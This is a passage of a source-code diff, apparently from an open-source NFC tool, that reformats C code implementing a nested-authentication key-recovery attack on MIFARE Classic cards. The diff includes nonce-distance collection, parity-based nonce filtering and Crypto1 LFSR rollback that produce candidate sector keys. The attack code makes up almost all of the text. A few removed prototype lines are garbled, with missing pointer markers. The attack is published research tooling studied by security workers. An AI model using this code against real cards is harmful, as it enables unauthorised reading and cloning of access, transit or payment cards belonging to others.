-               exit (EXIT_FAILURE);
-       }
-
-       // Now print the answer from the tag
-       // fprintf(stdout, "\t{At}:\t");
-       // print_hex_par(Rx,RxLen,RxPar);
-
-       // Decrypt the tag answer and verify that suc3(Nt) is At
-       Nt = prng_successor(Nt, 32);
-       if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt&0xFFFFFFFF))) {
-               ERR ("[At] is not Suc3(Nt), something is wrong, exiting..");
-               exit (EXIT_FAILURE);
-       }
-       // fprintf(stdout, "Authentication completed.\n\n");
-
-       // If we are in "Get Distances" mode
-       if (mode == 'd') {
-               for (m = 0; m < d->num_distances; m++) {
-                       // fprintf(stdout, "Nested Auth number: %x: ,", m);
-                       // Encrypt Auth command with the current keystream
-                       for (i = 0; i < 4; i++) {
-                               AuthEnc[i] = crypto1_byte(pcs,0x00,0) ^ Auth[i];
-                               // Encrypt the parity bits with the 4 plaintext bytes
-                               AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
-                       }
-
-                       // Sending the encrypted Auth command
-                       if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar,Rx, RxPar) < 0) {
-                               fprintf(stdout, "Error requesting encrypted tag-nonce\n");
-                               exit (EXIT_FAILURE);
-                       }
-
-                       // Decrypt the encrypted auth
-                       if (t.sectors[e_sector].foundKeyA) {
-                               pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
-                       } else {
-                               pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
-                       }
-                       NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 1);
-
-                       // Save the determined nonces distance
-                       d->distances[m] = nonce_distance(Nt, NtLast);
-                       // fprintf(stdout, "distance: %05d\n", d->distances[m]);
-
-                       // Again, prepare and send {At}
-                       for (i = 0; i < 4; i++) {
-                               ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
-                               ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
-                       }
-                       Nt = prng_successor(NtLast, 32);
-                       for (i = 4; i < 8; i++) {
-                               Nt = prng_successor(Nt, 8);
-                               ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt&0xFF);
-                               ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
-                       }
-                       nfc_device_set_property_bool(r.pdi,NP_HANDLE_PARITY,false);
-                       if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, RxPar)) < 0) || (res != 32)) {
-                               ERR ("Reader-answer transfer error, exiting..");
-                               exit (EXIT_FAILURE);
-                       }
-                       Nt = prng_successor(Nt, 32);
-                       if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt&0xFFFFFFFF))) {
-                               ERR ("[At] is not Suc3(Nt), something is wrong, exiting..");
-                               exit (EXIT_FAILURE);
-                       }
-               } // Next auth probe
-
-               // Find median from all distances
-               d->median = median(*d);
-               //fprintf(stdout, "Median: %05d\n", d->median);
-       } // The end of Get Distances mode
-
-       // If we are in "Get Recovery" mode
-       if (mode == 'r') {
-               // Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
-               Auth[0] = dumpKeysA ? 0x60 : 0x61;
-               Auth[1] = a_sector;
-               iso14443a_crc_append (Auth,2);
-
-               // Encryption of the Auth command, sending the Auth command
-               for (i = 0; i < 4; i++) {
-                       AuthEnc[i] = crypto1_byte(pcs,0x00,0) ^ Auth[i];
-                       // Encrypt the parity bits with the 4 plaintext bytes
-                       AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
-               }
-               if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar,Rx, RxPar) < 0) {
-                       ERR ("while requesting encrypted tag-nonce");
-                       exit (EXIT_FAILURE);
-               }
-
-               // Finally we want to send arbitrary parity bits
-               if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0)  {
-                       nfc_perror (r.pdi, "nfc_device_set_property_bool parity restore M");
-                       exit (EXIT_FAILURE);
-               }
-
-               if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0)  {
-                       nfc_perror (r.pdi, "nfc_device_set_property_bool crc restore M");
-                       exit (EXIT_FAILURE);
-               }
-
-               // Save the encrypted nonce
-               NtEnc = bytes_to_num(Rx, 4);
-
-               // Parity validity check
-               for (i = 0; i < 3; ++i) {
-                       d->parity[i] = (oddparity(Rx[i]) != RxPar[i]);
-               }
-
-               // Iterate over Nt-x, Nt+x
-               // fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE);
-               NtProbe = prng_successor(Nt, d->median-d->tolerance);
-               for (m = d->median-d->tolerance; m <= d->median+d->tolerance; m +=2) {
-
-                       // Try to recover the keystream1
-                       Ks1 = NtEnc ^ NtProbe;
-
-                       // Skip this nonce after invalid 3b parity check
-                       revstate_start = NULL;
-                       if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) {
-                               // And finally recover the first 32 bits of the key
-                               revstate = lfsr_recovery32(Ks1, NtProbe ^ t.authuid);
-                                if (revstate_start == NULL) {
-                                        revstate_start = revstate;
-                                }
-                               while ((revstate->odd != 0x0) || (revstate->even != 0x0)) {
-                                       lfsr_rollback_word(revstate, NtProbe ^ t.authuid, 0);
-                                       crypto1_get_lfsr(revstate, &lfsr);
-                                       // Allocate a new space for keys
-                                       if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) {
-                                               pk->size += MEM_CHUNK;
-                                               // fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t));
-                                               pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t));
-                                               if (pk->possibleKeys == NULL) {
-                                                       ERR ("Memory allocation error for pk->possibleKeys");
-                                                       exit (EXIT_FAILURE);
-                                               }
-                                       }
-                                       pk->possibleKeys[kcount] = lfsr;
-                                       kcount++;
-                                       revstate++;
-                               }
-                               free(revstate_start);
-                       }
-                       NtProbe = prng_successor(NtProbe, 2);
-               }
-               // Truncate
-               if (kcount != 0) {
-                       pk->size = --kcount;
-                       if ((pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t))) == NULL) {
-                               ERR ("Memory allocation error for pk->possibleKeys");
-                               exit (EXIT_FAILURE);
-                       }
-               }
-       }
-       crypto1_destroy(pcs);
-       return 0;
+int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA)
+{
+  struct Crypto1State *pcs;
+  struct Crypto1State *revstate;
+  struct Crypto1State *revstate_start;
+
+  uint64_t lfsr;
+
+  // Possible key counter, just continue with a previous "session"
+  uint32_t kcount = pk->size;
+
+  uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
+  uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
+  uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
+  uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+
+  uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+  uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
+
+  uint8_t Rx[MAX_FRAME_LEN]; // Tag response
+  uint8_t RxPar[MAX_FRAME_LEN]; // Tag response
+
+  uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1;
+
+  int i, m;
+
+  // Prepare AUTH command
+  Auth[0] = (t.sectors[e_sector].foundKeyA) ? 0x60 : 0x61;
+  iso14443a_crc_append(Auth, 2);
+  // fprintf(stdout, "\nAuth command:\t");
+  // print_hex(Auth, 4);
+
+  // We need full control over the CRC
+  if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, false) < 0)  {
+    nfc_perror(r.pdi, "nfc_device_set_property_bool crc");
+    exit(EXIT_FAILURE);
+  }
+
+  // Request plain tag-nonce
+  // TODO: Set NP_EASY_FRAMING option only once if possible
+  if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) {
+    nfc_perror(r.pdi, "nfc_device_set_property_bool framing");
+    exit(EXIT_FAILURE);
+  }
+
+  if (nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, sizeof(Rx), 0) < 0) {
+    fprintf(stdout, "Error while requesting plain tag-nonce\n");
+    exit(EXIT_FAILURE);
+  }
+
+  if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, true) < 0) {
+    nfc_perror(r.pdi, "nfc_device_set_property_bool");
+    exit(EXIT_FAILURE);
+  }
+  // print_hex(Rx, 4);
+
+  // Save the tag nonce (Nt)
+  Nt = bytes_to_num(Rx, 4);
+
+  // Init the cipher with key {0..47} bits
+  if (t.sectors[e_sector].foundKeyA) {
+    pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
+  } else {
+    pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
+  }
+
+  // Load (plain) uid^nt into the cipher {48..79} bits
+  crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 0);
+
+  // Generate (encrypted) nr+parity by loading it into the cipher
+  for (i = 0; i < 4; i++) {
+    // Load in, and encrypt the reader nonce (Nr)
+    ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
+    ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
+  }
+  // Skip 32 bits in the pseudo random generator
+  Nt = prng_successor(Nt, 32);
+  // Generate reader-answer from tag-nonce
+  for (i = 4; i < 8; i++) {
+    // Get the next random byte
+    Nt = prng_successor(Nt, 8);
+    // Encrypt the reader-answer (Nt' = suc2(Nt))
+    ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff);
+    ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
+  }
+
+  // Finally we want to send arbitrary parity bits
+  if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false) < 0) {
+    nfc_perror(r.pdi, "nfc_device_set_property_bool parity");
+    exit(EXIT_FAILURE);
+  }
+
+  // Transmit reader-answer
+  // fprintf(stdout, "\t{Ar}:\t");
+  // print_hex_par(ArEnc, 64, ArEncPar);
+  int res;
+  if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) {
+    ERR("Reader-answer transfer error, exiting..");
+    exit(EXIT_FAILURE);
+  }
+
+  // Now print the answer from the tag
+  // fprintf(stdout, "\t{At}:\t");
+  // print_hex_par(Rx,RxLen,RxPar);
+
+  // Decrypt the tag answer and verify that suc3(Nt) is At
+  Nt = prng_successor(Nt, 32);
+  if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) {
+    ERR("[At] is not Suc3(Nt), something is wrong, exiting..");
+    exit(EXIT_FAILURE);
+  }
+  // fprintf(stdout, "Authentication completed.\n\n");
+
+  // If we are in "Get Distances" mode
+  if (mode == 'd') {
+    for (m = 0; m < d->num_distances; m++) {
+      // fprintf(stdout, "Nested Auth number: %x: ,", m);
+      // Encrypt Auth command with the current keystream
+      for (i = 0; i < 4; i++) {
+        AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i];
+        // Encrypt the parity bits with the 4 plaintext bytes
+        AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
+      }
+
+      // Sending the encrypted Auth command
+      if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) {
+        fprintf(stdout, "Error requesting encrypted tag-nonce\n");
+        exit(EXIT_FAILURE);
+      }
+
+      // Decrypt the encrypted auth
+      if (t.sectors[e_sector].foundKeyA) {
+        pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
+      } else {
+        pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
+      }
+      NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 1);
+
+      // Save the determined nonces distance
+      d->distances[m] = nonce_distance(Nt, NtLast);
+      // fprintf(stdout, "distance: %05d\n", d->distances[m]);
+
+      // Again, prepare and send {At}
+      for (i = 0; i < 4; i++) {
+        ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
+        ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
+      }
+      Nt = prng_successor(NtLast, 32);
+      for (i = 4; i < 8; i++) {
+        Nt = prng_successor(Nt, 8);
+        ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xFF);
+        ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt);
+      }
+      nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false);
+      if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) {
+        ERR("Reader-answer transfer error, exiting..");
+        exit(EXIT_FAILURE);
+      }
+      Nt = prng_successor(Nt, 32);
+      if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) {
+        ERR("[At] is not Suc3(Nt), something is wrong, exiting..");
+        exit(EXIT_FAILURE);
+      }
+    } // Next auth probe
+
+    // Find median from all distances
+    d->median = median(*d);
+    //fprintf(stdout, "Median: %05d\n", d->median);
+  } // The end of Get Distances mode
+
+  // If we are in "Get Recovery" mode
+  if (mode == 'r') {
+    // Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
+    Auth[0] = dumpKeysA ? 0x60 : 0x61;
+    Auth[1] = a_sector;
+    iso14443a_crc_append(Auth, 2);
+
+    // Encryption of the Auth command, sending the Auth command
+    for (i = 0; i < 4; i++) {
+      AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i];
+      // Encrypt the parity bits with the 4 plaintext bytes
+      AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
+    }
+    if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) {
+      ERR("while requesting encrypted tag-nonce");
+      exit(EXIT_FAILURE);
+    }
+
+    // Finally we want to send arbitrary parity bits
+    if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0)  {
+      nfc_perror(r.pdi, "nfc_device_set_property_bool parity restore M");
+      exit(EXIT_FAILURE);
+    }
+
+    if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true) < 0)  {
+      nfc_perror(r.pdi, "nfc_device_set_property_bool crc restore M");
+      exit(EXIT_FAILURE);
+    }
+
+    // Save the encrypted nonce
+    NtEnc = bytes_to_num(Rx, 4);
+
+    // Parity validity check
+    for (i = 0; i < 3; ++i) {
+      d->parity[i] = (oddparity(Rx[i]) != RxPar[i]);
+    }
+
+    // Iterate over Nt-x, Nt+x
+    // fprintf(stdout, "Iterate from %d to %d\n", d->median-TOLERANCE, d->median+TOLERANCE);
+    NtProbe = prng_successor(Nt, d->median - d->tolerance);
+    for (m = d->median - d->tolerance; m <= d->median + d->tolerance; m += 2) {
+
+      // Try to recover the keystream1
+      Ks1 = NtEnc ^ NtProbe;
+
+      // Skip this nonce after invalid 3b parity check
+      revstate_start = NULL;
+      if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity)) {
+        // And finally recover the first 32 bits of the key
+        revstate = lfsr_recovery32(Ks1, NtProbe ^ t.authuid);
+        if (revstate_start == NULL) {
+          revstate_start = revstate;
+        }
+        while ((revstate->odd != 0x0) || (revstate->even != 0x0)) {
+          lfsr_rollback_word(revstate, NtProbe ^ t.authuid, 0);
+          crypto1_get_lfsr(revstate, &lfsr);
+          // Allocate a new space for keys
+          if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size)) {
+            pk->size += MEM_CHUNK;
+            // fprintf(stdout, "New chunk by %d, sizeof %lu\n", kcount, pk->size * sizeof(uint64_t));
+            pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t));
+            if (pk->possibleKeys == NULL) {
+              ERR("Memory allocation error for pk->possibleKeys");
+              exit(EXIT_FAILURE);
+            }
+          }
+          pk->possibleKeys[kcount] = lfsr;
+          kcount++;
+          revstate++;
+        }
+        free(revstate_start);
+      }
+      NtProbe = prng_successor(NtProbe, 2);
+    }
+    // Truncate
+    if (kcount != 0) {
+      pk->size = --kcount;
+      if ((pk->possibleKeys = (uint64_t *) realloc((void *)pk->possibleKeys, pk->size * sizeof(uint64_t))) == NULL) {
+        ERR("Memory allocation error for pk->possibleKeys");
+        exit(EXIT_FAILURE);
+      }
+    }
+  }
+  crypto1_destroy(pcs);
+  return 0;
 }
 
 // Return the median value from the nonce distances array
-uint32_t median(denonce d) {
-       int middle = (int) d.num_distances / 2;
-       qsort(d.distances, d.num_distances, sizeof(uint32_t), compar_int);
-
-       if (d.num_distances % 2 == 1) {
-               // Odd number of elements
-               return d.distances[middle];
-       } else {
-               // Even number of elements, return the smaller value
-               return (uint32_t) (d.distances[middle-1]);
-       }
+uint32_t median(denonce d)
+{
+  int middle = (int) d.num_distances / 2;
+  qsort(d.distances, d.num_distances, sizeof(uint32_t), compar_int);
+
+  if (d.num_distances % 2 == 1) {
+    // Odd number of elements
+    return d.distances[middle];
+  } else {
+    // Even number of elements, return the smaller value
+    return (uint32_t)(d.distances[middle - 1]);
+  }
 }
 
-int compar_int(const void * a, const void * b) {
-       return (*(uint64_t*)b - *(uint64_t*)a);
+int compar_int(const void *a, const void *b)
+{
+  return (*(uint64_t *)b - * (uint64_t *)a);
 }
 
 // Compare countKeys structure
-int compar_special_int(const void * a, const void * b) {
-       return (((countKeys *)b)->count - ((countKeys *)a)->count);
+int compar_special_int(const void *a, const void *b)
+{
+  return (((countKeys *)b)->count - ((countKeys *)a)->count);
 }
 
-countKeys * uniqsort(uint64_t * possibleKeys, uint32_t size) {
-       unsigned int i, j = 0;
-       int count = 0;
-       countKeys *our_counts;
-
-       qsort(possibleKeys, size, sizeof (uint64_t), compar_int);
-
-       our_counts = calloc(size, sizeof(countKeys));
-       if (our_counts == NULL) {
-               ERR ("Memory allocation error for our_counts");
-               exit (EXIT_FAILURE);
-       }
-
-       for (i = 0; i < size; i++) {
-        if (possibleKeys[i+1] == possibleKeys[i]) {
-                       count++;
-               } else {
-                       our_counts[j].key = possibleKeys[i];
-                       our_counts[j].count = count;
-                       j++;
-                       count=0;
-               }
-       }
-       qsort(our_counts, j, sizeof(countKeys), compar_special_int);
-       return (our_counts);
+countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size)
+{
+  unsigned int i, j = 0;
+  int count = 0;
+  countKeys *our_counts;
+
+  qsort(possibleKeys, size, sizeof(uint64_t), compar_int);
+
+  our_counts = calloc(size, sizeof(countKeys));
+  if (our_counts == NULL) {
+    ERR("Memory allocation error for our_counts");
+    exit(EXIT_FAILURE);
+  }
+
+  for (i = 0; i < size; i++) {
+    if (possibleKeys[i + 1] == possibleKeys[i]) {
+      count++;
+    } else {
+      our_counts[j].key = possibleKeys[i];
+      our_counts[j].count = count;
+      j++;
+      count = 0;
+    }
+  }
+  qsort(our_counts, j, sizeof(countKeys), compar_special_int);
+  return (our_counts);
 }
 
 
 // Return 1 if the nonce is invalid else return 0
-int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t * parity) {
-       return ((odd_parity((Nt >> 24) & 0xFF) == ((parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1,16))) & \
-       (odd_parity((Nt >> 16) & 0xFF) == ((parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1,8))) & \
-       (odd_parity((Nt >> 8) & 0xFF) == ((parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1,0)))) ? 1 : 0;
+int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity)
+{
+  return ((odd_parity((Nt >> 24) & 0xFF) == ((parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1, 16))) & \
+          (odd_parity((Nt >> 16) & 0xFF) == ((parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1, 8))) & \
+          (odd_parity((Nt >> 8) & 0xFF) == ((parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1, 0)))) ? 1 : 0;
 }
 
-void num_to_bytes(uint64_t n, uint32_t len, uint8_t* dest) {
-       while (len--) {
-               dest[len] = (uint8_t) n;
-               n >>= 8;
-       }
+void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest)
+{
+  while (len--) {
+    dest[len] = (uint8_t) n;
+    n >>= 8;
+  }
 }
 
-long long unsigned int bytes_to_num(uint8_t* src, uint32_t len) {
-       uint64_t num = 0;
-       while (len--)
-       {
-               num = (num << 8) | (*src);
-               src++;
-       }
-       return num;
+long long unsigned int bytes_to_num(uint8_t *src, uint32_t len)
+{
+  uint64_t num = 0;
+  while (len--) {
+    num = (num << 8) | (*src);
+    src++;
+  }
+  return num;
 }
index b0696e1..db16c0f 100644 (file)
 #define odd_parity(i) (( (i) ^ (i)>>1 ^ (i)>>2 ^ (i)>>3 ^ (i)>>4 ^ (i)>>5 ^ (i)>>6 ^ (i)>>7 ^ 1) & 0x01)
 
 typedef struct {
-       uint8_t KeyA[6];
-       uint8_t KeyB[6];
-       bool foundKeyA;
-       bool foundKeyB;
-        uint8_t trailer;                         // Value of a trailer block
+  uint8_t KeyA[6];
+  uint8_t KeyB[6];
+  bool foundKeyA;
+  bool foundKeyB;
+  uint8_t trailer;                         // Value of a trailer block
 } sector;
 
 typedef struct {
-        uint32_t       *distances;
-        uint32_t       median;
-        uint32_t       num_distances;
-        uint32_t       tolerance;
-        uint8_t          parity[3];              // used for 3 bits of parity information
+  uint32_t       *distances;
+  uint32_t       median;
+  uint32_t       num_distances;
+  uint32_t       tolerance;
+  uint8_t          parity[3];              // used for 3 bits of parity information
 } denonce;                                      // Revealed information about nonce
 
 typedef struct {
-        nfc_target     nt;
-        sector *        sectors;                // Allocate later, we do not know the number of sectors yet
-       sector          e_sector;               // Exploit sector
-        uint8_t        num_sectors;
-        uint8_t        num_blocks;
-        uint32_t        authuid;
-        bool            b4K;
+  nfc_target   nt;
+  sector         *sectors;                // Allocate later, we do not know the number of sectors yet
+  sector               e_sector;               // Exploit sector
+  uint8_t        num_sectors;
+  uint8_t        num_blocks;
+  uint32_t        authuid;
+  bool            b4K;
 } mftag;
 
 typedef struct {
-        uint64_t        *possibleKeys;
-        uint32_t        size;
+  uint64_t        *possibleKeys;
+  uint32_t        size;
 } pKeys;
 
 typedef struct {
-       uint64_t        *brokenKeys;
-       int32_t         size;
+  uint64_t        *brokenKeys;
+  int32_t         size;
 } bKeys;
 
 typedef struct {
-        nfc_device    *pdi;
+  nfc_device    *pdi;
 } mfreader;
 
 typedef struct {
-        uint64_t        key;
-        int             count;
+  uint64_t        key;
+  int             count;
 } countKeys;
 
 
-void usage(FILE * stream, int errno);
+void usage(FILE *stream, int errno);
 void mf_init(mfreader *r);
-void mf_configure(nfc_devicepdi);
-void mf_select_tag(nfc_device* pdi, nfc_target* pnt);
+void mf_configure(nfc_device *pdi);
+void mf_select_tag(nfc_device *pdi, nfc_target *pnt);
 int trailer_block(uint32_t block);
 int find_exploit_sector(mftag t);
 void mf_anticollision(mftag t, mfreader r);
 int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA);
 uint32_t median(denonce d);
-int compar_int(const void * a, const void * b);
-int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t * parity);
-int compar_special_int(const void * a, const void * b);
-countKeys * uniqsort(uint64_t *possibleKeys, uint32_t size);
-void num_to_bytes(uint64_t n, uint32_t len, uint8_tdest);
-long long unsigned int bytes_to_num(uint8_tsrc, uint32_t len);
+int compar_int(const void *a, const void *b);
+int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity);
+int compar_special_int(const void *a, const void *b);
+countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size);
+void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest);
+long long unsigned int bytes_to_num(uint8_t *src, uint32_t len);
index 458955e..6c84724 100644 (file)
@@ -1,8 +1,9 @@
 /*-
  * Public platform independent Near Field Communication (NFC) library examples
  *
- * Copyright (C) 2009, Roel Verdult
- * Copyright (C) 2010, Romuald Conty, Romain Tartière
+ * Copyright (C) 2009 Roel Verdult
+ * Copyright (C) 2010 Romain Tartière
+ * Copyright (C) 2010, 2011 Romuald Conty
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions are met:
@@ -110,9 +111,6 @@ nfc_initiator_mifare_cmd(nfc_device *pnd, const mifare_cmd mc, const uint8_t ui8
       // authenticated on a sector but the requested MIFARE cmd (read, write)
       // is not permitted by current acces bytes;
       // So there is nothing to do here.
-    } else if (res == NFC_ETGRELEASED) {
-      // If AUTH_* command fails, returned error is NFC_ETGRELEASED
-      // So there is nothing to do here. (don't hurt the user ;-))
     } else {
       nfc_perror(pnd, "nfc_initiator_transceive_bytes");
     }
index 57d5344..fb90fea 100644 (file)
@@ -1,8 +1,9 @@
 /*-
  * Public platform independent Near Field Communication (NFC) library examples
  *
- * Copyright (C) 2009, Roel Verdult
- * Copyright (C) 2010, Romuald Conty, Romain Tartière
+ * Copyright (C) 2009 Roel Verdult
+ * Copyright (C) 2010 Romain Tartière
+ * Copyright (C) 2010, 2011 Romuald Conty
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions are met:
index d2bd54b..deb51e7 100644 (file)
@@ -1,8 +1,9 @@
 /*-
  * Public platform independent Near Field Communication (NFC) library examples
  *
- * Copyright (C) 2009, Roel Verdult
- * Copyright (C) 2010, Romuald Conty, Romain Tartière
+ * Copyright (C) 2009 Roel Verdult
+ * Copyright (C) 2010, 2011 Romain Tartière
+ * Copyright (C) 2009, 2010, 2011, 2012 Romuald Conty
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions are met:
  * Note that this license only applies on the examples, NFC library itself is under LGPL
  *
  */
-
+/**
+ * @file nfc-utils.c
+ * @brief Provide some examples shared functions like print, parity calculation, options parsing.
+ */
 #include <nfc/nfc.h>
 #include <err.h>
 
 #include "nfc-utils.h"
 
-static const uint8_t OddParity[256] = {
-  1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
-  0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
-  0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
-  1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
-  0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
-  1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
-  1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
-  0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
-  0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
-  1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
-  1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
-  0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
-  1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
-  0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
-  0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
-  1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1
-};
-
 uint8_t
-oddparity (const uint8_t bt)
+oddparity(const uint8_t bt)
 {
-  return OddParity[bt];
+  // cf http://graphics.stanford.edu/~seander/bithacks.html#ParityParallel
+  return (0x9669 >> ((bt ^(bt >> 4)) & 0xF)) & 1;
 }
 
 void
-oddparity_bytes_ts (const uint8_t *pbtData, const size_t szLen, uint8_t *pbtPar)
+oddparity_bytes_ts(const uint8_t *pbtData, const size_t szLen, uint8_t *pbtPar)
 {
   size_t  szByteNr;
   // Calculate the parity bits for the command
   for (szByteNr = 0; szByteNr < szLen; szByteNr++) {
-    pbtPar[szByteNr] = OddParity[pbtData[szByteNr]];
+    pbtPar[szByteNr] = oddparity(pbtData[szByteNr]);
   }
 }
 
 void
-print_hex (const uint8_t *pbtData, const size_t szBytes)
+print_hex(const uint8_t *pbtData, const size_t szBytes)
 {
   size_t  szPos;
 
   for (szPos = 0; szPos < szBytes; szPos++) {
-    printf ("%02x  ", pbtData[szPos]);
+    printf("%02x  ", pbtData[szPos]);
   }
-  printf ("\n");
+  printf("\n");
 }
 
 void
